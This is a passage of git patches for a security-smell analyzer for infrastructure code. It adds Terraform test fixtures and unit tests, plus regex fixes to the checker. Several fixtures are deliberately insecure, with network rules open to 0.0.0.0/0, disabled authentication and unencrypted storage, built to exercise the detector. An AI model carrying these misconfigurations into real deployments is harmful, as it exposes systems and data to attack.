= 22 + remote_ip_prefix = "1.2.3.4/32" +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-ingress.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-ingress.tf new file mode 100644 index 00000000..40fa233b --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-ingress.tf @@ -0,0 +1,19 @@ +resource "openstack_networking_secgroup_rule_v2" "bad_example" { + description = "something" + direction = "ingress" + ethertype = "IPv4" + protocol = "tcp" + port_range_min = 22 + port_range_max = 22 + remote_ip_prefix = "0.0.0.0/0" +} + +resource "openstack_networking_secgroup_rule_v2" "good_example" { + description = "something" + direction = "ingress" + ethertype = "IPv4" + protocol = "tcp" + port_range_min = 22 + port_range_max = 22 + remote_ip_prefix = "1.2.3.4/32" +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/public-egress-network-policy.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/public-egress-network-policy.tf new file mode 100644 index 00000000..e5127659 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/public-egress-network-policy.tf @@ -0,0 +1,120 @@ +resource "kubernetes_network_policy" "bad_example" { + metadata { + name = "terraform-example-network-policy" + namespace = "default" + } + + spec { + pod_selector { + match_expressions { + operator = "In" + values = ["webfront", "api"] + } + } + + egress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + to { + ip_block { + cidr = "0.0.0.0/0" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + ingress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + from { + ip_block { + cidr = "10.0.0.0/16" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + policy_types = ["Ingress", "Egress"] + } +} + +resource "kubernetes_network_policy" "good_example" { + metadata { + name = "terraform-example-network-policy" + namespace = "default" + } + + spec { + pod_selector { + match_expressions { + operator = "In" + values = ["webfront", "api"] + } + } + + egress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + to { + ip_block { + cidr = "10.0.0.0/16" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + ingress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + from { + ip_block { + cidr = "10.0.0.0/16" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + policy_types = ["Ingress", "Egress"] + } +} + diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/public-ingress-network-policy.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/public-ingress-network-policy.tf new file mode 100644 index 00000000..6429c660 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/public-ingress-network-policy.tf @@ -0,0 +1,119 @@ +resource "kubernetes_network_policy" "bad_example" { + metadata { + name = "terraform-example-network-policy" + namespace = "default" + } + + spec { + pod_selector { + match_expressions { + operator = "In" + values = ["webfront", "api"] + } + } + + ingress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + from { + ip_block { + cidr = "0.0.0.0/0" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + egress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + to { + ip_block { + cidr = "10.0.0.0/16" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + policy_types = ["Ingress", "Egress"] + } +} + +resource "kubernetes_network_policy" "good_example" { + metadata { + name = "terraform-example-network-policy" + namespace = "default" + } + + spec { + pod_selector { + match_expressions { + operator = "In" + values = ["webfront", "api"] + } + } + + ingress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + from { + ip_block { + cidr = "10.0.0.0/16" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + egress { + ports { + port = "http" + protocol = "TCP" + } + ports { + port = "8125" + protocol = "UDP" + } + + to { + ip_block { + cidr = "10.0.0.0/16" + except = [ + "10.0.0.0/24", + "10.0.1.0/24", + ] + } + } + } + + policy_types = ["Ingress", "Egress"] + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index b5eedbda..6d0d3441 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -186,5 +186,63 @@ def test_terraform_insecure_access_control(self): 2, ["sec_access_control", "sec_access_control"], [37, 44] ) + def test_terraform_invalid_ip_binding(self): + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-egress-sgr.tf", + 2, ["sec_invalid_bind", "sec_invalid_bind"], [5, 20] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-acl.tf", + 1, ["sec_invalid_bind"], [7] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-sgr.tf", + 2, ["sec_invalid_bind", "sec_invalid_bind"], [4, 17] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-egress.tf", + 1, ["sec_invalid_bind"], [3] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-ingress.tf", + 1, ["sec_invalid_bind"], [3] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/cloud-sql-database-publicly-exposed.tf", + 1, ["sec_invalid_bind"], [14] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/compute-firewall-inbound-rule-public-ip.tf", + 1, ["sec_invalid_bind"], [9] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/compute-firewall-outbound-rule-public-ip.tf", + 1, ["sec_invalid_bind"], [9] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/eks-cluster-open-cidr-range.tf", + 1, ["sec_invalid_bind"], [11] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf", + 1, ["sec_invalid_bind"], [8] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-egress.tf", + 1, ["sec_invalid_bind"], [8] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-ingress.tf", + 1, ["sec_invalid_bind"], [8] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/public-egress-network-policy.tf", + 1, ["sec_invalid_bind"], [27] + ) + self.__help_test( + "tests/security/terraform/files/invalid-ip-binding/public-ingress-network-policy.tf", + 1, ["sec_invalid_bind"], [27] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From a1c46504a50120b7ee74160ebc2e554289266c85 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 30 Mar 2023 16:57:48 +0100 Subject: [PATCH 19/58] Tests for Terraform: Disabled/Weak Authentication code smell --- ...re-app-service-authentication-activated.tf | 34 +++++++ .../contained-database-disabled.tf | 89 +++++++++++++++++++ .../disable-password-authentication.tf | 26 ++++++ .../disabled-authentication/gke-basic-auth.tf | 59 ++++++++++++ .../iam-group-with-mfa.tf | 55 ++++++++++++ .../tests/security/terraform/test_security.py | 22 +++++ 6 files changed, 285 insertions(+) create mode 100644 glitch/tests/security/terraform/files/disabled-authentication/azure-app-service-authentication-activated.tf create mode 100644 glitch/tests/security/terraform/files/disabled-authentication/contained-database-disabled.tf create mode 100644 glitch/tests/security/terraform/files/disabled-authentication/disable-password-authentication.tf create mode 100644 glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf create mode 100644 glitch/tests/security/terraform/files/disabled-authentication/iam-group-with-mfa.tf diff --git a/glitch/tests/security/terraform/files/disabled-authentication/azure-app-service-authentication-activated.tf b/glitch/tests/security/terraform/files/disabled-authentication/azure-app-service-authentication-activated.tf new file mode 100644 index 00000000..b7e0a786 --- /dev/null +++ b/glitch/tests/security/terraform/files/disabled-authentication/azure-app-service-authentication-activated.tf @@ -0,0 +1,34 @@ +resource "azurerm_app_service" "bad_example" { + client_cert_enabled = true + https_only = true +} + +resource "azurerm_app_service" "bad_example2" { + https_only = true + client_cert_enabled = true + + auth_settings { + enabled = false + } +} + +resource "azurerm_app_service" "good_example" { + https_only = true + client_cert_enabled = true + + auth_settings { + enabled = true + } +} + +resource "azurerm_function_app" "good_example" { + name = "example-app-service" + location = azurerm_resource_group.example.location + resource_group_name = azurerm_resource_group.example.name + app_service_plan_id = azurerm_app_service_plan.example.id + https_only = true + + auth_settings { + enabled = true + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/disabled-authentication/contained-database-disabled.tf b/glitch/tests/security/terraform/files/disabled-authentication/contained-database-disabled.tf new file mode 100644 index 00000000..75128057 --- /dev/null +++ b/glitch/tests/security/terraform/files/disabled-authentication/contained-database-disabled.tf @@ -0,0 +1,89 @@ +resource "google_sql_database_instance" "bad_example" { + name = "db" + database_version = "SQLSERVER_2017_STANDARD" + region = "us-central1" + settings { + ip_configuration { + require_ssl = true + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} + +resource "google_sql_database_instance" "good_example" { + name = "db" + database_version = "SQLSERVER_2017_STANDARD" + region = "us-central1" + settings { + ip_configuration { + require_ssl = true + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} diff --git a/glitch/tests/security/terraform/files/disabled-authentication/disable-password-authentication.tf b/glitch/tests/security/terraform/files/disabled-authentication/disable-password-authentication.tf new file mode 100644 index 00000000..66291b14 --- /dev/null +++ b/glitch/tests/security/terraform/files/disabled-authentication/disable-password-authentication.tf @@ -0,0 +1,26 @@ +resource "azurerm_linux_virtual_machine" "bad_linux_example" { + disable_password_authentication = false +} + +resource "azurerm_linux_virtual_machine" "good_linux_example" { +} + +resource "azurerm_linux_virtual_machine" "good_linux_example2" { + disable_password_authentication = true +} + + +resource "azurerm_virtual_machine" "bad_example" { +} + +resource "azurerm_virtual_machine" "bad_example" { + os_profile_linux_config { + disable_password_authentication = false + } +} + +resource "azurerm_virtual_machine" "good_example" { + os_profile_linux_config { + disable_password_authentication = true + } +} diff --git a/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf b/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf new file mode 100644 index 00000000..39c0b701 --- /dev/null +++ b/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf @@ -0,0 +1,59 @@ +resource "google_container_cluster" "bad_example" { + master_auth { + client_certificate_config { + issue_client_certificate = true + } + } + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } +} + +resource "google_container_cluster" "good_example" { + master_auth { + } + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } +} + +resource "google_container_cluster" "good_example2" { + master_auth { + client_certificate_config { + issue_client_certificate = false + } + } + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/disabled-authentication/iam-group-with-mfa.tf b/glitch/tests/security/terraform/files/disabled-authentication/iam-group-with-mfa.tf new file mode 100644 index 00000000..b778608a --- /dev/null +++ b/glitch/tests/security/terraform/files/disabled-authentication/iam-group-with-mfa.tf @@ -0,0 +1,55 @@ +resource "aws_iam_group" "support" { + name = "support" +} + +resource aws_iam_group_policy mfa { + group = aws_iam_group.support.name + policy = < Date: Thu, 30 Mar 2023 18:42:05 +0100 Subject: [PATCH 20/58] Tests for Terraform: Missing Encryption code smell and minor fixes --- glitch/analysis/security.py | 37 ++++-- glitch/configs/default.ini | 2 - .../storage-containers-public-access.tf | 2 +- .../athena-enable-at-rest-encryption.tf | 26 ++++ .../aws-codebuild-enable-encryption.tf | 34 +++++ .../missing-encryption/aws-ecr-encrypted.tf | 25 ++++ .../aws-neptune-at-rest-encryption.tf | 16 +++ .../documentdb-storage-encryption.tf | 16 +++ .../dynamodb-rest-encryption.tf | 19 +++ ...-task-definitions-in-transit-encryption.tf | 55 ++++++++ .../missing-encryption/efs-encryption.tf | 14 ++ .../eks-encryption-secrets-enabled.tf | 59 +++++++++ .../elasticache-enable-at-rest-encryption.tf | 13 ++ ...lasticache-enable-in-transit-encryption.tf | 13 ++ .../elasticsearch-domain-encrypted.tf | 48 +++++++ .../elasticsearch-in-transit-encryption.tf | 46 +++++++ .../emr-enable-at-rest-encryption.tf | 43 ++++++ .../emr-enable-in-transit-encryption.tf | 43 ++++++ .../emr-enable-local-disk-encryption.tf | 43 ++++++ .../emr-s3encryption-mode-sse-kms.tf | 43 ++++++ .../enable-cache-encryption.tf | 14 ++ .../encrypted-ebs-volume.tf | 13 ++ .../encrypted-root-block-device.tf | 35 +++++ .../instance-encrypted-block-device.tf | 33 +++++ .../kinesis-stream-encryption.tf | 13 ++ .../msk-enable-in-transit-encryption.tf | 58 ++++++++ .../rds-encrypt-cluster-storage-data.tf | 13 ++ .../rds-encrypt-instance-storage-data.tf | 16 +++ .../redshift-cluster-rest-encryption.tf | 13 ++ .../unencrypted-s3-bucket.tf | 105 +++++++++++++++ .../unencrypted-sns-topic.tf | 10 ++ .../unencrypted-sqs-queue.tf | 10 ++ .../workspaces-disk-encryption.tf | 20 +++ .../tests/security/terraform/test_security.py | 124 ++++++++++++++++++ 34 files changed, 1061 insertions(+), 13 deletions(-) create mode 100644 glitch/tests/security/terraform/files/missing-encryption/athena-enable-at-rest-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/aws-codebuild-enable-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/aws-neptune-at-rest-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/documentdb-storage-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/dynamodb-rest-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/efs-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/eks-encryption-secrets-enabled.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-at-rest-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-in-transit-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/elasticsearch-domain-encrypted.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/elasticsearch-in-transit-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/emr-enable-at-rest-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/emr-enable-in-transit-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/emr-enable-local-disk-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/emr-s3encryption-mode-sse-kms.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/enable-cache-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/encrypted-ebs-volume.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/encrypted-root-block-device.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/instance-encrypted-block-device.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/kinesis-stream-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/msk-enable-in-transit-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/rds-encrypt-cluster-storage-data.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/rds-encrypt-instance-storage-data.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/redshift-cluster-rest-encryption.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/unencrypted-s3-bucket.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/unencrypted-sns-topic.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/unencrypted-sqs-queue.tf create mode 100644 glitch/tests/security/terraform/files/missing-encryption/workspaces-disk-encryption.tf diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 040e361e..3e451965 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -231,7 +231,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f elif (au.type == "resource.google_sql_database_instance"): check_database_flags('sec_access_control', "cross db ownership chaining", "off") elif (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}" + expr = "\${aws_s3_bucket\." + f"{au.name}\." pattern = re.compile(rf"{expr}") if not get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): errors.append(Error('sec_access_control', au, file, repr(au), @@ -248,7 +248,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f if (au.type == "resource.google_sql_database_instance"): check_database_flags('sec_authentication', "contained database authentication", "off") elif (au.type == "resource.aws_iam_group"): - expr = "\${aws_iam_group\." + f"{au.name}" + expr = "\${aws_iam_group\." + f"{au.name}\." pattern = re.compile(rf"{expr}") if not get_associated_au(self.code, "resource.aws_iam_group_policy", "group", pattern, [""]): errors.append(Error('sec_authentication', au, file, repr(au), @@ -263,7 +263,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f # check missing encryption if (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}" + expr = "\${aws_s3_bucket\." + f"{au.name}\." pattern = re.compile(rf"{expr}") r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", pattern, [""]) @@ -347,7 +347,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f # check key management if (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}" + expr = "\${aws_s3_bucket\." + f"{au.name}\." pattern = re.compile(rf"{expr}") r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", pattern, [""]) @@ -356,7 +356,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + f"associated to an 'aws_s3_bucket' resource.")) elif (au.type == "resource.azurerm_storage_account"): - expr = "\${azurerm_storage_account\." + f"{au.name}" + expr = "\${azurerm_storage_account\." + f"{au.name}\." pattern = re.compile(rf"{expr}") if not get_associated_au(self.code, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", pattern, [""]): @@ -418,7 +418,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f # check permission of IAM policies if (au.type == "resource.aws_iam_user"): - expr = "\${aws_iam_user\." + f"{au.name}" + expr = "\${aws_iam_user\." + f"{au.name}\." pattern = re.compile(rf"{expr}") assoc_au = get_associated_au(self.code, "resource.aws_iam_user_policy", "user", pattern, [""]) if assoc_au: @@ -485,8 +485,25 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f else: errors.append(Error('sec_logging', au, file, repr(au), f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) + elif (au.type == "resource.aws_docdb_cluster"): + active = False + enabled_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") + if enabled_cloudwatch_logs_exports: + i = 0 + while enabled_cloudwatch_logs_exports: + a = enabled_cloudwatch_logs_exports + if enabled_cloudwatch_logs_exports.value.lower() in ["audit", "profiler"]: + active = True + break + i += 1 + enabled_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enabled_cloudwatch_logs_exports[{i}]") + if not active: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'enabled_cloudwatch_logs_exports'.")) elif (au.type == "resource.azurerm_mssql_server"): - expr = "\${azurerm_mssql_server\." + f"{au.name}" + expr = "\${azurerm_mssql_server\." + f"{au.name}\." pattern = re.compile(rf"{expr}") assoc_au = get_associated_au(self.code, "resource.azurerm_mssql_server_extended_auditing_policy", "server_id", pattern, [""]) @@ -495,7 +512,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + f"associated to an 'azurerm_mssql_server' resource.")) elif (au.type == "resource.azurerm_mssql_database"): - expr = "\${azurerm_mssql_database\." + f"{au.name}" + expr = "\${azurerm_mssql_database\." + f"{au.name}\." pattern = re.compile(rf"{expr}") assoc_au = get_associated_au(self.code, "resource.azurerm_mssql_database_extended_auditing_policy", "database_id", pattern, [""]) @@ -538,7 +555,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f name = storage_account_name.value.lower().split('.')[1] storage_account_au = get_au(self.code, name, "resource.azurerm_storage_account") if storage_account_au: - expr = "\${azurerm_storage_account\." + f"{name}" + expr = "\${azurerm_storage_account\." + f"{name}\." pattern = re.compile(rf"{expr}") assoc_au = get_associated_au(self.code, "resource.azurerm_log_analytics_storage_insights", "storage_account_id", pattern, [""]) @@ -628,7 +645,7 @@ def check_attached_resource(attributes, resource_types): # check replication if (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}" + expr = "\${aws_s3_bucket\." + f"{au.name}\." pattern = re.compile(rf"{expr}") if not get_associated_au(self.code, "resource.aws_s3_bucket_replication_configuration", "bucket", pattern, [""]): diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 0e8e263b..02ea9ff7 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -392,8 +392,6 @@ logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "rete "values": ["true"], "required": "yes", "msg": "enable_log_file_validation"}, {"au_type": ["resource.aws_cloudtrail"], "attribute": "cloud_watch_logs_group_arn", "parents": [""], "values": [""], "required": "yes", "msg": "cloud_watch_logs_group_arn"}, - {"au_type": ["resource.aws_docdb_cluster"], "attribute": "enabled_cloudwatch_logs_exports", "parents": [""], - "values": ["audit", "profiler"], "required": "yes", "msg": "enabled_cloudwatch_logs_exports"}, {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "log_type", "parents": ["log_publishing_options"], "values": ["index_slow_logs", "search_slow_logs", "es_application_logs", "audit_logs"], "required": "yes", "msg": "log_publishing_options.log_type"}, diff --git a/glitch/tests/security/terraform/files/insecure-access-control/storage-containers-public-access.tf b/glitch/tests/security/terraform/files/insecure-access-control/storage-containers-public-access.tf index 0fe24b7d..de323660 100644 --- a/glitch/tests/security/terraform/files/insecure-access-control/storage-containers-public-access.tf +++ b/glitch/tests/security/terraform/files/insecure-access-control/storage-containers-public-access.tf @@ -30,7 +30,7 @@ resource "azurerm_storage_container" "good_example" { storage_account_name = azurerm_storage_account.good_example.name } -resource "azurerm_storage_container" "bad_example" { +resource "azurerm_storage_container" "good_example2" { storage_account_name = azurerm_storage_account.good_example.name container_access_type = "private" } diff --git a/glitch/tests/security/terraform/files/missing-encryption/athena-enable-at-rest-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/athena-enable-at-rest-encryption.tf new file mode 100644 index 00000000..e059c2b9 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/athena-enable-at-rest-encryption.tf @@ -0,0 +1,26 @@ +resource "aws_athena_database" "bad_example" { +} + +resource "aws_athena_database" "good_example" { + encryption_configuration { + encryption_option = "SSE_S3" + } +} + +resource "aws_athena_workgroup" "bad_example" { +} + +resource "aws_athena_workgroup" "good_example" { + name = "example" + + configuration { + enforce_workgroup_configuration = true + publish_cloudwatch_metrics_enabled = true + result_configuration { + output_location = "s3://${aws_s3_bucket.example.bucket}/output/" + encryption_configuration { + encryption_option = "SSE_S3" + } + } + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/aws-codebuild-enable-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/aws-codebuild-enable-encryption.tf new file mode 100644 index 00000000..a234bcef --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/aws-codebuild-enable-encryption.tf @@ -0,0 +1,34 @@ +resource "aws_codebuild_project" "bad_example" { + artifacts { + encryption_disabled = true + } +} + +resource "aws_codebuild_project" "bad_example" { + secondary_artifacts { + encryption_disabled = true + } +} + + +resource "aws_codebuild_project" "good_example1" { + artifacts { + encryption_disabled = false + } +} + +resource "aws_codebuild_project" "good_example2" { + artifacts { + } +} + +resource "aws_codebuild_project" "good_example3" { + secondary_artifacts { + encryption_disabled = false + } +} + +resource "aws_codebuild_project" "good_example4" { + secondary_artifacts { + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf b/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf new file mode 100644 index 00000000..e8fdf23d --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf @@ -0,0 +1,25 @@ +resource "aws_ecr_repository" "bad_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + kms_key = aws_kms_key.ecr_kms.key_id + } +} + +resource "aws_ecr_repository" "bad_example2" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "AES256" + kms_key = aws_kms_key.ecr_kms.key_id + } +} + +resource "aws_ecr_repository" "good_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/aws-neptune-at-rest-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/aws-neptune-at-rest-encryption.tf new file mode 100644 index 00000000..80d8beb7 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/aws-neptune-at-rest-encryption.tf @@ -0,0 +1,16 @@ +resource "aws_neptune_cluster" "bad_example" { + enable_cloudwatch_logs_exports = ["audit"] + kms_key_arn = "something" +} + +resource "aws_neptune_cluster" "bad_example2" { + enable_cloudwatch_logs_exports = ["audit"] + kms_key_arn = "something" + storage_encrypted = false +} + +resource "aws_neptune_cluster" "good_example" { + enable_cloudwatch_logs_exports = ["audit"] + kms_key_arn = "something" + storage_encrypted = true +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/documentdb-storage-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/documentdb-storage-encryption.tf new file mode 100644 index 00000000..5f3e4fe5 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/documentdb-storage-encryption.tf @@ -0,0 +1,16 @@ +resource "aws_docdb_cluster" "good_example" { + enabled_cloudwatch_logs_exports = ["audit"] + kms_key_id = "something" +} + +resource "aws_docdb_cluster" "good_example" { + enabled_cloudwatch_logs_exports = ["audit"] + kms_key_id = "something" + storage_encrypted = false +} + +resource "aws_docdb_cluster" "good_example" { + enabled_cloudwatch_logs_exports = ["audit"] + kms_key_id = "something" + storage_encrypted = true +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/dynamodb-rest-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/dynamodb-rest-encryption.tf new file mode 100644 index 00000000..25aaf577 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/dynamodb-rest-encryption.tf @@ -0,0 +1,19 @@ +resource "aws_dynamodb_table" "bad_example" { + server_side_encryption { + kms_key_arn = aws_kms_key.dynamo_db_kms.key_id + } +} + +resource "aws_dynamodb_table" "bad_example2" { + server_side_encryption { + enabled = false + kms_key_arn = aws_kms_key.dynamo_db_kms.key_id + } +} + +resource "aws_dynamodb_table" "good_example" { + server_side_encryption { + enabled = true + kms_key_arn = aws_kms_key.dynamo_db_kms.key_id + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf new file mode 100644 index 00000000..ed368b91 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf @@ -0,0 +1,55 @@ +resource "aws_ecs_task_definition" "bad_example" { + family = "service" + container_definitions = file("task-definitions/service.json") + + volume { + name = "service-storage" + + efs_volume_configuration { + file_system_id = aws_efs_file_system.fs.id + root_directory = "/opt/data" + authorization_config { + access_point_id = aws_efs_access_point.test.id + iam = "ENABLED" + } + } + } +} + +resource "aws_ecs_task_definition" "good_example" { + family = "service" + container_definitions = file("task-definitions/service.json") + + volume { + name = "service-storage" + + efs_volume_configuration { + file_system_id = aws_efs_file_system.fs.id + root_directory = "/opt/data" + transit_encryption = "DISABLED" + authorization_config { + access_point_id = 